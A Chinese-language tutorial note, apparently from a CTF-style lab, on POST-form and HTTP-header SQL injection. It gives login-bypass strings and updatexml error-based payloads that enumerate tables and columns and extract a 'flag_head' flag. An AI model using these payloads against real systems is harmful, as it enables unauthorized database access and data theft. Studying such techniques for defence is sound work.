POST注入與Head注入

2021-10-14 01:41:42 字數 2207 閱讀 1349

post注入

post注入與get注入的區別在於表單的傳遞方式,無本質差別

get傳參通過url編碼,使用?來標識,資料量有限

post注入一般對輸入框進行傳參,資料量比較大

查詢是否有注入點

對輸入框填入一些閉合的符號,看頁面是否異常

例如: 』 " ') ")

嘗試使用萬能密碼

admin或123465或 』 or 1=1 #

post注入

' or 1=1 order by 1'or

1=2union

select1,

2,3#

接下來的步驟與get注入類似

head注入

報錯注入原理

登入成功後通過brup抓包,將標記欄位中的內容替換為updatexml函式,通過sql報錯來顯示我們要查詢的內容

​ updatexml() 更新xml文件的函式

#號前閉合,後注釋

用and的時候,前面的錯了,則後面的不執行;前面的對了,則後面的執行;

用or的時候,前面的對了,則後面的不執行;前面的錯了,則後面的執行;

sql語句在concat中可以被執行,16進製制也能自動轉義 0x7e為~符號 在upxml函式中加入特殊符號使其報錯

可能的注入點referer:user-agent:x-forwarded-for

登入成功後抓包

由此判斷存在head注入,並且insert into 可能有兩個字段

通過updatexml函式獲取庫名

查詢表名

' or updatexml(

1,concat(

0x7e,(

select group_concat(table_name)

from information_schema.

columns

where table_schema=

database()

)),1

),1)

#

查詢欄位名

' or updatexml(

1,concat(

0x7e,(

select group_concat(column_name)

from information_schema.

columns

where table_name=』flag_head』)),

1),1

)#

查詢資料拿到flag

' or updatexml(

1,concat(

0x7e,(

select group_concat(flag_h1)

from flag_head)),

1),1

)#

SQL注入 head注入

條件 解釋 由於updatexml的第二個引數需要xpath格式的字串,以 開頭的內容不是xml格式的語法,concat 函式為字串連線函式顯然不符合規則,但是會將括號內的執行結果以錯誤的形式報出,這樣就可以實現報錯注入了。updatexml 123,concat select database 1...

head請求 SQL注入 HEAD注入(學習筆記)

就是在傳參的時候,將我們的資料構建在http頭部。php 中的許多預定義變數都是 超全域性的 這意味著它們在乙個指令碼的全部作用域中都可用。request 獲取get post cookie cookie在新版本已經無法獲取了 post 獲取post傳參 get 獲取get的傳參 cookie 獲取...

學習 SQL注入 POST注入

實踐 頁面顯示 看來目標很明確,還是要注入 post pro id 1 and 1 1 post pro id 1 and 1 2 發現存在注入 post pro id 0 union select 1,2,3,4 存在四列,且顯示的位置為2 這邊使用了version database user 測...